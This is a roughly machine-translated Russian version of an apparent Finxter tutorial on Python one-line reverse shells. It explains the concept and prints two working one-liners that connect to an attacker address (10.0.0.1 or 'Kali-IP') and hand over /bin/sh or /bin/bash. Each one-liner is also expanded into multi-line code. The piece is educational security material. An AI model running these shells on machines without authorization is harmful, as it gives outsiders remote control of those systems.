Рубрики
Без рубрики

Python одна линия обратная оболочка

https://youtu.be/ps00wdz6d-u Эта статья будет веселой! Вы узнаете о важной концепции в безопасности: обратные оболочки. Вы также узнаете, как создавать обратные оболочки в Python в одной строке кода. Итак, давайте начнем с большого вопроса: что такое обратная оболочка? Вот определение обратной оболочки: Обратная оболочка … Python одна линия обратная оболочка Подробнее “

Автор оригинала: Chris.

Эта статья будет веселой! Вы узнаете о важной концепции в безопасности: обратные оболочки. Вы также узнаете, как создавать обратные оболочки в Python в одной строке кода. Итак, давайте начнем с большого вопроса:

Что такое обратная оболочка?

Вот определение обратной оболочки:

А Обратная оболочка используется хакеры Чтобы получить доступ к целевой машине. Целевая машина открывает оболочку для связи с атакующей машиной. Атакующая машина получает соединение (прослушивание данного порта) и теперь может получить доступ к целевому компьютеру. Для достижения обратной оболочки хакер должен выполнить код на целевой машине. Обратные раковины также используются инженерами безопасности для проверки и предотвращения атак обратной оболочки.

Причина обратной оболочки простой: для атакура часто очень трудно получить доступ к целевой машине, потому что и машина Target, так и в сетевом брандмауэре защищают пользователя от входящие Соединения Отказ Возможно, это необходимо, потому что хакеры со всего мира постоянно пытаются заставить свой путь в вашу машину (если это доступно через Интернет).

Однако для тех же брандмауэров практически невозможно защитить клиента от Исходящие соединения Отказ Вы можете сделать это только, ограничивая (потенциальную) цель для выполнения этих операций. Но системные администраторы и программисты должны иметь возможность открывать порты и общаться на другие машины через TCP соединения . Это то, что компьютеры здесь для всех.

А Обратная оболочка Использует это и меняет стандартный способ получить доступ к целевой машине. Теперь цель открывает соединение с злоумышленником, поэтому брандмауэры часто позволяют эти соединения, предполагая, что владелец целевой машины знает, что они делают.

Единственное, что злоумышленник должен сделать, это получить цель для выполнения кода на их машине, откройте обратную оболочку и подключитесь к машине злоумышленника. Злоумышленник открывает порт на собственной машине и ждать клиента подключиться к этому порту.

Источники : Вы можете прочитать больше здесь и здесь Отказ

Метод 1.

Я нашел этот код в Блог нить. Вы можете запустить его с любого компьютера с Python Установлен и видимый из вашего текущего местоположения:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Но вы никогда не должны выполнять код, который копирует и вставляется из источника Интернета. Что, если код удаляет все файлы с вашего компьютера?

Давайте посмотрим, как этот код выглядит как мультинаровщик Python, чтобы вы могли понять его лучше:

import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Как видите, код открывает розетку (который является точкой записи для соединения), Дубликовые файловые дескрипторы и призывая Linux Shell. . Таким образом, он будет работать только на системах на основе Linux.

Метод 2.

В это Тема GitHub, я нашел другого одноклассник который открывает обратную оболочку:

python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

При написании эквивалентного мультиналира код выглядит более понятно:

import pty
import socket,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("Kali-IP",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

Это очень похоже на вышеуказанный код, но использует PTY Библиотека для создания оболочки.

Куда пойти отсюда?

Достаточно теории, давайте познакомимся!

Чтобы стать успешным в кодировке, вам нужно выйти туда и решать реальные проблемы для реальных людей. Вот как вы можете легко стать шестифункциональным тренером. И вот как вы польские навыки, которые вам действительно нужны на практике. В конце концов, что такое использование теории обучения, что никто никогда не нуждается?

Практические проекты – это то, как вы обостряете вашу пилу в кодировке!

Вы хотите стать мастером кода, сосредоточившись на практических кодовых проектах, которые фактически зарабатывают вам деньги и решают проблемы для людей?

Затем станьте питоном независимым разработчиком! Это лучший способ приближения к задаче улучшения ваших навыков Python – даже если вы являетесь полным новичком.

Присоединяйтесь к моему бесплатным вебинаре «Как создать свой навык высокого дохода Python» и посмотреть, как я вырос на моем кодированном бизнесе в Интернете и как вы можете, слишком от комфорта вашего собственного дома.

Присоединяйтесь к свободному вебинару сейчас!

Работая в качестве исследователя в распределенных системах, доктор Кристиан Майер нашел свою любовь к учению студентов компьютерных наук.

Чтобы помочь студентам достичь более высоких уровней успеха Python, он основал сайт программирования образования Finxter.com Отказ Он автор популярной книги программирования Python одноклассники (Nostarch 2020), Coauthor of Кофе-брейк Python Серия самооставленных книг, энтузиаста компьютерных наук, Фрилансера и владелец одного из лучших 10 крупнейших Питон блоги по всему миру.

Его страсти пишут, чтение и кодирование. Но его величайшая страсть состоит в том, чтобы служить стремлению кодер через Finxter и помогать им повысить свои навыки. Вы можете присоединиться к его бесплатной академии электронной почты здесь.

Оригинал: “https://blog.finxter.com/python-one-line-reverse-shell/”